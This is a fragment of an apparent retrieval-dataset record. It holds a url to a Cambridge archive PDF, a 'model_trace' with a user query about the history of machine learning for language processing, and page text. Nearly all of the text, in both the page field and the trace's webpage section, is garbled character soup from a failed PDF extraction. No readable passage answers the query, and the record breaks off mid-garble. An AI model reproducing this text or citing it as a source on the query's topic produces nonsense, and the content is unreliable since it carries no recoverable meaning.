g\u00ec \u00e3 r\u00e1 t\u00e2 \u00e3 Y\u00dd t\u00e3 r\u00df \u00bd\u00ec \u00a6\u00f1 \u00a4\u00eb 3\u00dd t\u00de \u00e3 Y\u00e1 \u00c9\u00df \u00bd\u00e0 w\u00e1 \u00e3 Y\u00dd t\u00e3 \u00ec \u00e1 \u00c9\u00df \u00bd\u00e0 \u00bf\u00eb F\u00ec \u00dc \u00e9 \u00bd\u00f3 g\u00e1 t\u00df \u00dc \u00e0 \u00e1 \u00dc \u00f9 \u00c5\u00fe 4\u00ff 7\u00e2 \u00e3 Y\u00dd \u00e3 \u00e2 g\u00eb \u00ec \u00ca\u00f0 i\u00e3 Y\u00e3 \u00e0 \u00f8\u00f4 \u00e3 Y\u00dd \u00a1 \u00f8\u00ec t\u00f3 \u00f0 \u00ec t\u00e1 t\u00eb \u00e0 w\u00e1 t\u00df \u00bd\u00eb \u00e9 \u00ef g\u00dd t\u00dc \u00f5 \u00dd t\u00e3 \u00ec \u00ec Y\u00f2 '\u00f0 i\u00dc \u00e1 t\u00e2 \u00df \u00bd\u00e0 \u00fb\u00f3 \u00e0 g\u00ea \u00e3 Y\u00dd \u00ec \u00e1 t\u00eb \u00e0 \u00ea g\u00df \u00bd\u00e0 \u00f5 \u00e2 \u00dc \u00a3\u00a2 1\u00e1 \u00dc \u00ea \u00dc A\u00e4 \u00e5 ae \u00fd\u00eb \u00e0 g\u00ea \u00df \u00bd\u00e0 \u00ee\u00eb \u00ed v\u00e1 t\u00f3 g\u00eb \u00e9 \u00bd\u00e9 \u00a4 #\u00ea g\u00dc \u00df \u00bd\u00e0 \u00f5 6\u00df \u00bd\u00e1 Y\u00f2 s\u00ec t\u00df \u00bd\u00e0 g\u00ed v\u00e3 \u00a5\u00a2 4\u00dc \u00dd t\u00de S\u00df \u00bd\u00e0 #\u00e1 t\u00e2 \u00e3 \u00e7 g\u00e3 \u00e9 \u00ea #\u00e1 \u00dc H\u00dc \u00de A\u00dc \u00a7\u00a6 \u00df \u00bd\u00e0 A\u00e1 t\u00e2 \u00e3 \u00a9 \u00a7 \u00ec Y\u00fe \u00e0 \u00ee\u00e1 t\u00e2 \u00e3 \u00e9 \u00bd\u00eb \u00ec \u00e1 @\u00e7 \u00e1 \u00e3 Y\u00e3 \u00e0 \u00e3 \u00eb 3\u00dd P\u00ec \u00df \u00bd\u00e0 S\u00ef \u00eb 3\u00dd t\u00e1 t\u00df \u00bd\u00ed Y\u00f3 \u00e9 \u00bd\u00eb 3\u00dd \u00f2 \u00a2\u00eb \u00ea \u00f4 )\u00eb \u00e0 \u00ed v\u00e3 \u00ec C\u00df \u00e0 S\u00ed v\u00dc \u00f1 &\u00ef U\u00f3 \u00e1 t\u00df \u00bd\u00e0 \u00f5 6\u00e1 \u00e3 \u00ed \u00e2 g\u00e0 \u00dc \u00e9 \u00bd\u00dc \u00f5 S\u00e2 g\u00eb |\u00f4 \u00e3 \u00f1 \u00a4\u00eb \u00ea \u00e3 \u00df \u00bd\u00e1 r\u00ef c\u00dc \u00ec t\u00ec t\u00df \u00f0 U\u00e9 \u00e3 &\u00e1 \u00dc \u00df \u00bd\u00f1 &\u00ef \u00e9 \u00e3 \u00f1 F\u00e3 \u00e0 w\u00e1 C\u00df \u00bd\u00ea \u00e3 \u00eb \u00ec \u00e1 t\u00e2 g\u00eb 3\u00e1 \u00ed v\u00dc \u00f3 g\u00e9 \u00ea \u00dc \u00e0 \u00e9 \u00a4 \u00fb\u00f0 c\u00e3 \u00eb \u00ea g\u00f3 g\u00f1 @\u00f0 g\u00dd \u00eb 3\u00e1 \u00e3 \u00ea \u00f0 c\u00e3 \u00dc \u00dd t\u00e3 \u00f2 \u00e1 \u00dc \u00fb\u00ed v\u00dc \u00e0 \u00ec \u00dc \u00e9 \u00bd\u00df \u00bd\u00ea g\u00eb 3\u00e1 \u00e3 \u00c4\u00dd t\u00e3 \u00ec t\u00e3 \u00eb 3\u00dd \u00ed \u00e2 V\u00f2 e\u00eb \u00e0 g\u00ea \u00e1 \u00dc \u00f8\u00ed Y\u00eb 3\u00dd \u00dd \u00a1 \u00ec \u00ef c\u00e3 Y\u00e3 \u00ed P\u00e2 \u00fa\u00eb \u00e0 g\u00ea \u00e9 \u00bd\u00eb \u00e0 \u00f5 \u00f3 \u00eb 3\u00f5 \u00e3 \u00ef g\u00dd t\u00dc b\u00ed v\u00e3 \u00ec t\u00ec t\u00df \u00e0 \u00f5 r\u00df \u00bd\u00e0 w\u00e1 \u00dc r\u00e1 t\u00e2 \u00e3 \u00c9\u00dc \u00dd \u00ea g\u00df \u00bd\u00e0 \u00eb 3\u00dd \u00a1 !\u00a2 5\u00dc \u00dd \u00e9 \u00bd\u00ea \u00cc\u00fe #\" b\u00dc \u00f1 &\u00e3 Y\u00e1 t\u00df \u00bd\u00f1 &\u00e3 \u00ec \u00e1 t\u00e2 \u00e3 \u00c9\u00ec t\u00ed Y\u00df \u00bd\u00e3 \u00e0 w\u00e1 t\u00df \u00e7 U\u00ed 7\u00eb \u00ea \u00f4 3\u00eb \u00e0 g\u00ed v\u00e3 \u00df \u00e0 F\u00e4 \u00c9\u00e5 uae y\u00f2 w\u00dc \u00dd 5\u00e1 t\u00e2 \u00e3 \u00ed v\u00dc \u00f1 &\u00ef \u00f3 g\u00e1 t\u00eb 3\u00e1 t\u00df \u00dc \u00e0 g\u00eb \u00e9 H\u00e9 \u00bd\u00df \u00bd\u00e0 \u00f5 \u00f3 g\u00df \u00ec \u00e1 t\u00df \u00bd\u00ed Y\u00ec \u00cc\u00f3 g\u00e0 \u00ea \u00e3 Y\u00dd \u00e9 \u00a4 b\u00df \u00bd\u00e0 \u00f5 7\u00df \u00e1 Y\u00f2 \u00df \u00bd\u00ec y\u00e9 \u00e3 \u00ec t\u00ec u\u00e1 t\u00e2 g\u00eb \u00e0 C\u00e1 t\u00e2 \u00e3 5\u00dc \u00e0 $\u00a2 '\u00eb 3\u00dd \u00ea @\u00dd \u00f3 g\u00ec t\u00e2 @\u00dc \u00df \u00bd\u00e0 \u00dc \u00dd \u00f1 \u00a4\u00eb 3\u00e1 t\u00df \u00dc \u00e0 $\u00e1 \u00e3 \u00ed P\u00e2 g\u00e0 \u00dc \u00e9 \u00dc \u00f5 \u00df \u00bd\u00ec \u00e1 t\u00eb 3\u00de \u00e3 \u00e0 \u00e1 \u00dc \u00df \u00bd\u00f1 F\u00ef \u00e9 \u00a4 &% U\u00f0 \u00f3 g\u00e1 \u00e1 t\u00e2 g\u00e3 C\u00e1 t\u00e2 g\u00e3 Y\u00dc \u00dd t\u00e3 Y\u00e1 t\u00df \u00bd\u00ed Y\u00eb \u00e9 \u00ae\u00eb \u00e0 g\u00ea \u00e3 \u00f1 &\u00ef \u00df \u00bd\u00dd \u00df \u00bd\u00ed Y\u00eb \u00e9 y\u00ea \u00e3 Y\u00f4 \u00e3 \u00e9 \u00dc \u00ef \u00f1 &\u00e3 \u00e0 w\u00e1 $\u00e0 \u00e3 Y\u00e3 \u00ea \u00e3 \u00ea \u00e1 \u00dc \u00bf\u00e3 \u00ec \u00e1 t\u00eb 3\u00f0 U\u00e9 \u00bd\u00df \u00bd\u00ec t\u00e2 \u00eb \u00e0 \u00e3 \u00a2 \u00e7 g\u00e3 \u00e9 \u00bd\u00ea \u00df \u00bd\u00ec '\u00e3 Y\u00f4 b\u00df \u00bd\u00ea \u00e3 \u00e0 w\u00e1 \u00a6\u00df \u00bd\u00e0 \u00e1 t\u00e2 \u00e3 i\u00e7 \u00e1 ' )( 0 \u00e3 \u00eb 3\u00dd \u00ef c\u00e3 Y\u00dd \u00df \u00dc b\u00ea \u00dd t\u00e3 Y\u00f4 b\u00df \u00e3 \u00a2 4\u00e3 \u00ea \u00bf\u00e2 g\u00e3 Y\u00dd t\u00e3 \u00fe 1\" H\u00dc \u00f1 &\u00e3 Y\u00e1 t\u00df \u00bd\u00f1 F\u00e3 \u00ec 7\u00df \u00bd\u00e0 g\u00e0 \u00dc \u00f4 )\u00eb 3\u00e1 t\u00df \u00bd\u00dc \u00e0 \u00df \u00ec '\u00dc \u00e0 g\u00e9 \u00a4 \u00a4\u00dc \u00e9 \u00ea \u00bf\u00df \u00bd\u00ea \u00e3 \u00eb \u00ec \u00dd t\u00e3 \u00eb 3\u00ef g\u00ef c\u00e3 \u00eb 3\u00dd \u00df \u00e0 \u00f5 r\u00df \u00bd\u00e0 \u00ca\u00e0 \u00e3 \u00a2 \u00fb\u00f5 \u00f3 g\u00df \u00ec \u00e3 \u00ec Y\u00f2 w\u00e9 \u00df \u00de \u00e3 \u00c9\u00e9 \u00e3 32 \u00df \u00bd\u00ed Y\u00eb \u00e9 \u00bd\u00df \u00ec \u00e1 s\u00eb 3\u00ef g\u00ef g\u00dd t\u00dc \u00eb \u00ed P\u00e2 \u00e3 \u00ec 5\u00e1 \u00dc C\u00e4 \u00e5 ae y\u00f2 H\u00dc \u00dd 5\u00ec \u00e2 g\u00eb \u00e9 \u00bd\u00e9 \u00dc \u00a3\u00a2 \u00fb\u00ef \u00eb 3\u00dd \u00ec \u00df \u00bd\u00e0 \u00f5 \u00fe 54 5\u00f3 g\u00e1 \u00e1 t\u00e2 \u00e3 \u00e0 \u00e3 \u00a2 \u00ed v\u00dc \u00ec \u00e1 t\u00f3 g\u00f1 F\u00e3 \u00ec e\u00eb 3\u00dd t\u00e3 @\u00f0 c\u00e3 Y\u00e1 \u00e1 \u00e3 Y\u00dd e\u00f1 F\u00eb \u00ea \u00e3 \u00f2 c\u00dc s\u00f0 c\u00e3 Y\u00e1 \u00e1 \u00e3 Y\u00dd e\u00f1 F\u00eb 3\u00e1 \u00e3 Y\u00dd \u00df \u00eb \u00e9 \u00bd\u00ec Y\u00f2 c\u00eb \u00ec 6\u00a2 5\u00e3 \u00e9 \u00bd\u00e9 y\u00eb \u00ec e\u00f1 &\u00dc \u00dd t\u00e3 C\u00f0 c\u00e3 \u00ed v\u00dc \u00f1 F\u00df \u00bd\u00e0 \u00f5 87 7\u00ec \u00dc \u00e1 t\u00e2 \u00e3 C\u00dd t\u00e3 \u00ec \u00e3 \u00eb 3\u00dd \u00ed P\u00e2 \u00df \u00bd\u00ec \u00e0 \u00dc \u00e1 \u00ec t\u00dc F\u00f1 @\u00f3 g\u00ed P\u00e2 \u00f5 \u00dc \u00df \u00bd\u00e0 g\u00f5 &\u00dd t\u00dc \u00f3 g\u00e0 g\u00ea \u00bf\u00df \u00bd\u00e0 \u00bf\u00ed Y\u00df \u00bd\u00dd \u00ed Y\u00e9 \u00e3 \u00ec 7\u00eb \u00ec 7\u00eb \u00ec \u00ed v\u00e3 \u00e0 g\u00ea g\u00df \u00bd\u00e0 \u00f5 F\u00eb \u00a4\u00ec \u00ef \u00df \u00dd \u00eb \u00e9 \u00fe \u00b1\u00e0 &\u00e1 t\u00e2 g\u00df \u00bd\u00ec s\u00f0 g\u00dd \u00df \u00e3 U\u00dd t\u00e3 Y\u00f4 H\u00df \u00bd\u00e3 \u00a2 $\u00f2 9 \u00a2\u00ea g\u00df \u00f4 b\u00df \u00bd\u00ea \u00e3 '\u00e1 t\u00e2 \u00e3 \u00e2 g\u00df \u00ec \u00e1 \u00dc \u00dd \u00a1 r\u00dc V\u00e4 \u00e5 ae S\u00df \u00bd\u00e0 w\u00e1 \u00dc @ \u00dc \u00f3 \u00dd \u00ef \u00e2 g\u00eb \u00ec \u00e3 \u00ec Y\u00f2 $\u00a2 \u00df \u00e1 t\u00e2 F\u00ea g\u00df \u00ec \u00e1 t\u00df \u00bd\u00e0 g\u00ed v\u00e1 t\u00df \u00f4 \u00e3 \u00a6\u00ed v\u00dc \u00e0 g\u00ed v\u00e3 Y\u00dd P\u00e0 g\u00ec \u00eb \u00e0 g\u00ea \u00f8\u00ec t\u00e1 ' b\u00e9 \u00e3 \u00ec Y\u00fe A &\u00ea \u00e3 Y\u00e7 \u00e0 g\u00e3 \u00e1 t\u00e2 g\u00e3 \u00e7 g\u00dd \u00ec \u00e1 &\u00ef U\u00e2 g\u00eb \u00ec \u00e3 \u00bf\u00dc B\u00a2 4\u00dc \u00dd \u00de \u00df \u00e0 \u00a8\u00e4 \u00c9\u00e5 uae \u00eb \u00ec \u00a4\u00e9 \u00eb \u00ec \u00e1 t\u00df \u00bd\u00e0 \u00f5 \u00a9 \u00dd t\u00dc \u00f1 \u00e1 t\u00e2 \u00e3 \u00e9 \u00eb 3\u00e1 \u00e3 C ED 9 \u00ec \u00a4\u00e1 \u00dc S\u00e1 t\u00e2 \u00e3",
                "url": "https://www.cl.cam.ac.uk/archive/ksj21/histdw4.pdf",
                "published_date": null,
                "text": "F 0G IH \u00a3P RQ TS \u00a7U VS W YX a\u00c8Q bW cQ ed aU \u00a1f 0W gX 0P hU Vi qp rX 0s Vd td 1u vU wX bf 0P Rx ci RW @y 5U \u00a1f 0\u00a3X 'U Vi i hU V \u00a3 \u00c8U V W S X 0s x cW cQ bQ bP R E U V \u00a5s \u00a1 3W gX 0 P RW g R IP R f 0H \u00a3W 6 \u00a3X 0Q f aU V E Q bW cx cs V \u00a7 W P df 0P hs V EQ es Vp 5f 'g Eh ji Yk 'g l wh \u00a4m on Vg l Vp i Yg q gr q cp Rn Ys \u00a3i bt Vm ol !n u vp m rg w Vx m zy 0h \u00a4m oq gy 0 {W g C| }s VX 0 p rs VX ' EP R 3W gX 0Q bP df u ! 8X 0W cQ bQ c V 3 o $ \u00a7 }X 0P R H f Y Y 9U V E BP R S \u00a3X 0W cQ bQ e o } 9 X 'U i RW gu E Y 9U w \u00a7 p X 0s d y {U wf 0X 'U Vi i hU w E \u00c8U V VW S \u00a3X 0s x gW cQ bQ bP R E \u00a3 qU aH \u00a3P RQ f 0s VX 0P Rx U Vi s w W gX 0 P hW Y P R x k Yk bi Yg Eh 5m ry 'y 0x Ei Yy em zg q 0n V s \u00a7x h l Vh \u00a4m on Vg \u00a7l p Ip m zg w Vx m zy 0h \u00a4m oq gy g am zg \u00a3n wg n Vx k vn u 1 en wg C l p 3i Yk '\n\u00e2 \u00e4\u00e3 \u00e5 Tae }\u00e7 \u00e9\u00e8 v\u00ea \u00d8\u00eb w\u00e5 \u00ec &\u00e7 \u00ed\u00e8 \u00ee T\u00ef 6\u00f0 aae \u00f1\u00ec &\u00f2 \u00ed\u00eb \u00a1\u00e5 \u00ec I\u00e7 \u00e9\u00e8 e\u00ee v\u00f3 T\u00f0 vae\n8\u00aa \u00db\u00b0\u00aa \u00b0\u00a1\u00b0w\u00be \u00a49\u00b5 q\u00fa R\u00b0\u00c3 \u00a7\u00c3 I\u00aa w\u00b0 \u00c7 \u00d3\u00c8 a\u00b2 8\u00aa \u00c8 \u00aa \u00b6 \u00b6 \u00be o\u00b5 8\u00d0 \u00a9 9\u00b5 \u00bd\u00cf g\u00b5 )\u00a9 \u00aa w\u00b5 \u00a7\u00a9 \u00a1\u00be \u00a49\u00b5 \u00a7 V 9\u00b5 8\u2022 \u00aa \u00a1\u00aa \u00b5 \u00b3 3\u00aa a9\u00b5 \u00bc\u00cc \u00ac\u00b3 V\u00b2 \u00be o\u00b5 8\u00aa 6\u00c8 w\u00b5 \u00b0\u00a1 \u00a7 o \u00a7\u00a9 \u00a1\u00be \u00a49\u00b5 v\u2022 q\u00dc \u00b5 8\u00d0 9\u00c2 \u00a7\u00d0 \u00aa \u00b0\u00b5 \u00b6 \u00bd\u00ce 6\u00c3 \u00c3 \u00a7 o\u00be \u00a4\u00aa \u00b6 v\u00dc \u00b5 \u00a5\u00d2 \u00d0 9\u00c2 \u00a7\u00d0 \u00aa @\u00ce \u00b5 \u00a7 \u00a4AE \u00a5\u00b0\u00a1\u00be o\u00b0T\u00be \u00b5 \u00a9\u00ab \u00ae \u00a5\u00ab \u00c1 e\u00b0a\u00c3 I\u00aa w\u00b2 \u00a7\u00c3 \u00b0\u00a9 \u00a1\u00b2 8\u00aa !\u00b2 \u00be \u00a4\u00d0 9\u00b2 \u00db\u00c3 I9\u00be o\u00b5 )\u00a9 \u2022 {\u00a9 \u00a1\u00b2 \u00be o\u00b0a\u00c9 w\u00b0\u00a9 e\u00c3 \u00b2 \u00b0\u00a1\u00aa 0Y #\u00be \u00a4\u00a9 T\u00a1\u00aa \u00c3 I\u00a1\u00a9 \u00aa \u00b6 \u00d1\u00c1 \u00a1\u00d5 \u00db \u00b6 89\u00b5 8\u00aa \u00be o\u00b5 \u00c5\u00b9 \u00bd\u00b5 $AE \u00c5\u00b3 39\u00c2 \u00b5 $\u00a9 V\u00be \u00a4\u00aa \u00b09\u00b5 \u00d3\u00b9 \u00b5 $AE \u00bf\u00b0\u00c3 I\u00aa \u00b3 3\u00a9 \u00a1\u00b0B\u2022 #\u00da \u00dc \u00dd \u00be o\u00b5 \u00b3 \u00a7 o\u00c2 \u00b6 \u00be o\u00b5 \u00d0 \u00b9 \u00bd\u00a1\u00c3 \u00b2 89 \u00a7 \u00a4\u00d0 AE \u00b1 q\u00b0AE \u00a5\u00b5 )\u00a9 \u00a1\u00cb\u00d4 \u00c5\u00b5 \u00b6 \u00d3\u00b0\u00aa \u00b9 \u00bd\u00b5 )\u00a9 \u00a1\u00be o\u00b3 \u00b0 \u00b1 q\u00be o\u00b5 \u00be o\u00b5 )\u00a9 \u00aa \u00a1\u00c3 \u00a1\u00aa \u00a9 \u00a1 \u00a7\u00a9 \u00a1\u00be o9\u00b5 \u00bf\u00b5 \u00b6 \u00d1\u00d0 \u00aa \u00b5 8\u00aa V \u00a7\u00a9 \u00a1\u00be \u00a49\u00b5 q\u00b1 \u00b5 \u00b6 \u00dbV\u00b5 8\u00d0 9\u00be o\u00b5 8\u00d0 v\u2022 \u00a19\u00b9 \u2022 w\u00b9 \u00bd \u00a7 I\u00a9 \u00a1\u00b2 8\u00aa wAE \u00bc\u00a9 \u00a5\u00b2 \u00a7w \u00b6 8\u00c1 e \u00a7\u00a1\u00aa \u00c7 \u00c8 a\u00b2 \u00be o\u00b0\u00c9 w\u00b0\u00a9 \u00c3 \u00b2 \u00b0\u00aa B\u00c1 e\u00b0a\u00c3 I\u00aa w\u00be \u00a4\u00a5 \u00b6 \u2022 {\u00aa \u00b5 )\u00a9 \u00a1\u00b2 )\u00c2 \u00b0w\u00be o\u00b0\u00a1\u00b9 \u00b5 \u00b6 \u00db\u00c3 \u00a9 \u00a1\u00be o\u00b9 \u00be o\u00b0\u00a1\u00b9 \u00d1\u00c7 5\u00cf g\u00a9 e\u00be \u00b0T\u00b5 8\u00a9 \u00a1 \u00a7\u00cb \u00a7 \u00a4\u00aa \u00b5 8\u00a9 e9\u00b5 \u00a7 \u00a4AE \u00a5\u00cb I\u00aa \u00b3 \u00c2 \u00b0\u00aa\n\u00b0\u00aa \u00a7w\u00b3 w\u00b2 \u00d8\u00be o\u00b5 \u00d6\u00a9 \u00a1\u00b2 \u00be o\u00b0\u00c3 I\u00aa w\u00be \u00a4\u00a5 \u00b6 C\u00c1 e\u00b0\u00a9 \u00a1\u00b2 8\u00a19\u00c2 8\u00d0 9\u00b2 \u00a7 \u00a4AE C\u00be o\u00b5 )\u00a9 \u00aa w\u00b5 \u00a7\u00a9 \u00a1\u00be \u00a49\u00b5 \u00a7 b\u00b1 \u00c1 v\u00be \u00a4\u00a9 \u00a1\u00b2 \u00d9\u00b3 39\u00b5 \u00b0\u00a1\u00be \u00b6 8\u00aa w \u00a7\u00cb \u00a7 \u00a4\u00aa \u00db\u00b3 3\u00a9 \u00a1\u00be \u00a4\u00ca \u00a5\u00be \u00a4\u00a9 'AE \u00d6\u00be o\u00b5 \u00d6\u00a9 \u00a1\u00b2 8\u00aa e W W \u00a5\u00f9 \u00b0@\u00c1 1\u00aa \u00a7 \u00a7 #\u00b0!\u00be \u00b5 \u00a9 \u00a1\u00b2 8\u00aa e W \u00a5\u00ce \u00b5 \u00b6 C\u00ff 1\u00c2 8\u00a1\u00c3 I\u00aa \u00b1 \u00b5 \u00b6 \u00c4\u00b0\u00a19\u00b9 v\u00aa \u00a5\u00be o\u00b5 \u00a9f 9 \u00a7\u00c3 \u00b5 q\u00c7 e W \u00d0 w\u00b5 $\u00a9 !\u2022 \u00c2 \u00b5 \u00b6 \u00be o\u00b5 8\u00d0 \u00d1\u00be o\u00b5 \u00b3 3\u00a1\u00aa \u00b0\u00aa \u00b6 \u00a7\u2022 \u00a9 \u00aa \u0123W \u00c3 \u00c2 8\u00a9 \u00a1\u00b5 \u00be o\u00d5 \u00d9\u00ab \u00a7\u00b1 e\u00cb \u00c2 8\u00a9 \u00a9 \u00a1\u00b2 8\u00aa \u00db\u00c1 1\u00a1\u00d5 \u00b2 \u00b6 \u00d6\u00cb &\u00aa \u00d0 9\u00c2 \u00b5 \u00cb I\u00aa ",
                "model_trace": "[QUERY] I'm working on a research paper about the historical development of machine learning techniques for natural language processing. I'm looking for academic papers that provide a comprehensive overview of the key milestones and breakthroughs in this field from the 1950s to the present day.\n\n[WEBPAGE INFORMATION]\n[TITLE] \u00a2\u00a1 \u00a4\u00a3 \u00a6\u00a5 \u00a8 \u00a7 \u00a6\u00a1 \u00a9 \u00a9 \u00a1 \u00a5 \u00a1 \u00a8 \u00a7 \u00a6! #\" $ &% '% '( ) \u00a80 1\u00a1 2 \u00a8( 3% 4\u00a3 5! 6 \u00a7 7( 3\" $\u00a1 \u00a9 8 \u00a7 7 @9 A( ) CB D FE HG PI )Q SR UT VE HG PW YX AHa bQ cI d e a bf T cg ih pI )G rq sE Ht ua HG vE wh pa bG Px Hy V @Q c bI G pd p h x a H e E Hf t cG P c HI E Hf FE wh vI d $ g c c Q i cy V ed ca bf d pa bQ #f @ HI )Q gg cI wy e E Hf t cG p c bI e ih j bk 'l y i CD m n io Hp vq Yr ts 3u wv yx Ym wz @q |{ } ~q po H } o q )} gr n y \u00a6 \u00a6 } ~q |{ } ~q po H } o q )} r Y r r m s W |h va bt I )G r wj bj i $ c P Y \u00a2\u00a1 w\u00a3 \u00a5 \u00a4 \u00a6 w \u00a7 \u00a6 H\u00a9 5\u00a9 P\u00aa 3\u00a3 \u00ab P\u00ac s\u00a4 \u00ae w \u00a7 Y\u00b0\u00a9 \u00b1 \u00a7 \u00b2 \u00b2 \u00b3 \u00a7 w|\u00b0w \u00a7 ||\u00a6\u00a6 \u00a9 \u00b5 \u00b6 tP\u00a4 \u00a4 \u00a3 \u00ab F\u2022 \u00b9 U\u00ba u\u00bb \u00a2\u00bc \u00bd\u00a9 \u00b5 |\u00be 8\u00a1 \u00b2 \u00b3 \u00a7 Y7 \u00a3 \u00a5 \u1e97 F\u00bc \u00bd\u00b5 |\u00a9 \u00a3 \u00a5 P\u00a4 \u00b5 \u00bf\u00a1 w\u00a4\u00a6 \u00a9 P\u00a4 )P\u00c0 s\u00a4 P\u00c1 3\u00a3 \u00ab \u00b5 \u00a3 \u00b3 \u00c2 )\u00a3 \u00ab \u00bc \u00bd\u00c3 \u00c4\u00a3 \u00b1\u00a4 r\u00a4 \u00b0w \u00b6 \u00b6 P\u00a4 \u00a4 ~\u00a3 \u00a5 \u00aa |\u00c5\u00a9 P w\u00c2 \u00a4 @ \u00a7 |\u00a4 e\u00a1 P\u00a4 F\u00a9 \u1e97AE wp \u00b6 @ \u00b6 \u00b5 | w \u00b6 \u00a9 w\u00a4 e\u00ac \u00ae\u00a3 \u00ab \u00a1 \u00c2 \u00a3 \u00c7 b\u00a9 )\u00a6 \u00a9 \u00b5 |\u00c8 w\u00b2 \u00ab P\u00be i\u00a4 7\u00b5 |\u00a9 \u00a6\u00a1 $\u00a6 \u00b0\u00a9 \u00b1\u00a4 \u00b0\u00a3 7\u00b5 |\u00bc s\u00c2 \u00a3 \u00c7 b\u00a9 )\u00c9 \u00a7 |\u00a6 \u00a6 \u00a9 \u00b5 \u00a7 \u00b6 \u00b1\u00a1 P\u00a4 4\u00b5 \u00ca\u00a4 ~\u00b5 \u00b2 \u00ab \u00aa 3\u00a3 \u00a5 \u0106\u00a1 p\u00a4 ~$\u00a6 w\u00a9 \u00b5 \u00c8 \u00b2 \u00ab P\u00be e\u00a4 7 \u00a7 w\u00c2 \u00c8 w\u00b0\u00a3 \u00ab \u00b2 \u00b3 \u00c2 \u00a3 \u00a5 @\u00a4 \u00c3 \u00a4 \u00be e\u00a4 \u00a7 \u00a4 s\u00ac \u00ae\u00a1 \u00b5 \u00b2 \u00ab p\u00a4 \u00cb \u00ae \u00a2\u00a1 \u00c9\u00a9 P\u00aa 3\u00a3 \u00ab P\u00ac \u00c2 \u00a3 \u00a5 \u00a4 ~\u00a3 \u00a5 |\u00b0w\u00a3 \u00a5 \u00a4 \u00a1 P\u00a4 s\u00bc \u00bd\u00b5 |\u00b0\u00a9 4\u00a6 \u00a1 w \u00a7 \u00a4 ~p\u00a4 \u00ae\u00a3 \u00ab F\u00a1 \u00c9\u00a1 \u00a3 \u00a5 \u00a4 ~\u00b5 \u00a9 \u00c3 C\u00b5 \u00bc \u00cc4\u00b9 \u00ba c\u00c0 \u00b6 \u00b1\u00a1 w \u00a7 \u00a9 \u00b1 \u00a7 | \u00b6 \u00a9 \u00a3 \u00a5 \u00a4 P\u00c2 6\u00a9 P\u00a4 \u00a6 wp \u00b6 \u00a3 \u00a5 \u00aa |P\u00b2 \u00ab \u00c3 \u00c8 )\u00c3 \u00c4 \u00a7 \u00c4P\u00be \u00a6 w\u00a1 w \u00a7 |\u00a4 \u00a3 \u00a5 \u00a4 $\u00b5 | \u00be e \u00a7 | \u00b6 \u00b1\u00a1 \u00a3 \u00a5 \u00c5\u00a9 \u00a7 | w\u00a4 ~\u00b2 \u00b3 \u00a7 Y\u00a3 \u00ab \u00b5 g\u00c0 y\u00c8 )\u00c3 6\u00a1 wF\u00a3 \u00ab AE w\u00b0 w \u00b6 tF\u00b5 |\u00bc \u00a7 |\u00a9 ~\u00a3 \u00cd H \u00b6 t\u00a3 \u00b3 \u00a7 \u00b2 )\u00a3 \u00ab )P\u00b2 \u00ab \u00b2 \u00a5 \u00a3 \u00a5 | w \u00b6 t|\u00c0 |\u00c8 )\u00c3 5\u00a1 \u00ae \u00a7 |\u00c2 \u00b5 \u00a6 \u00a3 \u00a5 \u00b5 | 7\u00b5 |\u00bc w \u00a7 4\u00b2 \u00ab \u00b5 |\u00a3 \u00b3 \u00b6 t\u00b5 \u00ce \u00cf|\u00a9 \u00b1 \u00a7 \u00be i\u00be e \u00a7 Y\u00a3 \u00a5 \u00b6 P \u00a7 \u00b2 |\u00a4 ~\u00c3 3\u00b2 \u00ab \u00c0 \u00a7 w\u00c2 7\u00a1 \u00ff\u00b0w\u00a4 \u00fc\u00b5 |\u00bc w\u00be e \u00a7 |\u00a4 \u00a4 ~\u00a3 \u00a5 \u00aa |2 \u00b3 \u00a7 w|\u00b0w \u00a7 ||4\u00c2 w \u00a7 Y \u00a7 w\u00cb V \u00a2\u00a1 5 \u00a7 \u00b6 \u00b6 \u00b5 |\u00b0 )\u00ae \u00b6 t\u00b5 | w\u00a4 ~\u00a3 \u00b3 \u00c2 \u00a9 \u00b1\u00a4 \u00a1 '\u00a4 ~\u00a3 \u00a5 | w\u00a3 \u00cd w \u00b6 P \u00a7 )\u00ae \u00a7 w\u00c2 @\u00a4 \u00a7 |\u00b2 \u00ab \u00a3 \u00a5 )\u00a2\u00ac u\u00b5 \u00a9 \u00c1 i\u00a3 \u00a5 rP \u00a7 \u00b6 \u00b1\u00a1 r\u00a6 \u00a1 w \u00a7 |\u00a4 |\u00c0 \u00a7 w\u00c2 \u00b6 \u00b5 | w \u00b6 \u00b2 \u00ab \u00b0w\u00c2 P\u00a4 '\u00ac \u00ae\u00a3 \u00ab \u00a1 \u00bf \u00a7 \u00a7 |\u00a4 \u00a4 P\u00a4 \u00a4 ~\u00be i )'\u00b5 \u00bc \u00a2\u00ac \u00ae\u00a1 \u00a9 \u00ef\u00ac u\u00eb\u00a4 ~ \u00a7 | w\u00c2 \u00ca \u00a7 \u00bc P\u00a9 \u00a6\u00be \u00b5 \u00a9 \u00a1 w \u00a7 \u00ca\u00cd \u00bc \u00c3 \u00a4\u00c3 P \u00a7 |\u00a9 \u00a4 5\u00b5 \u00bc y\u1e97\u00c7 b\u00b5 |\u00a9 7\u00a3 \u00ab \u00a1 '\u00cd wP\u00b2 \u00a5 \u00c2 \u00cb u\u00d0 \u00d1 \u00d2 g\u00d3 i\u00d4 i\u00d5 V\u00d6 $\u00d7 F\u00d8 \u00c5\u00d9 y\u00d4 V\u00da t\u00d6 \u00c9\u00d3 \u00db \u00dc \u00dd t\u00de #\u00df \u00bd\u00e0 A\u00e1 t\u00e2 \u00e3 \u00ca\u00e4 \u00e5 ae \u00e8\u00e7 g\u00e3 \u00e9 \u00bd\u00ea A\u00e2 g\u00eb \u00ec @\u00ed v\u00dc \u00e0 \u00ed v\u00e3 \u00e0 w\u00e1 \u00dd \u00eb 3\u00e1 \u00e3 \u00ea \u00ee\u00e7 g\u00dd P\u00ec \u00e1 $\u00dc \u00e0 S\u00dc \u00e0 \u00e3 F\u00ef g\u00dd t\u00dc \u00f0 U\u00e9 \u00e3 \u00f1 \u00bf\u00f2 \u00e1 t\u00e2 g\u00eb \u00e0 \u00bf\u00ef \u00dd t\u00dc \u00f0 \u00e9 \u00e3 \u00f1 \u00f7\u00f6 \u00f8\u00ea \u00e3 Y\u00ef c\u00e3 \u00e0 g\u00ea g\u00ec \u00cc\u00dc \u00e0 C\u00ec \u00dc \u00e9 \u00f4 b\u00df \u00bd\u00e0 \u00f5 \u00ef \u00dd t\u00dc \u00f0 \u00e9 \u00e3 \u00f1 \u00fa\u00f9 \u00fb\u00f0 \u00f3 \u00e1 y\u00ec \u00dc \u00f1 &\u00e3 Y\u00e1 t\u00df \u00f1 &\u00e3 \u00ec 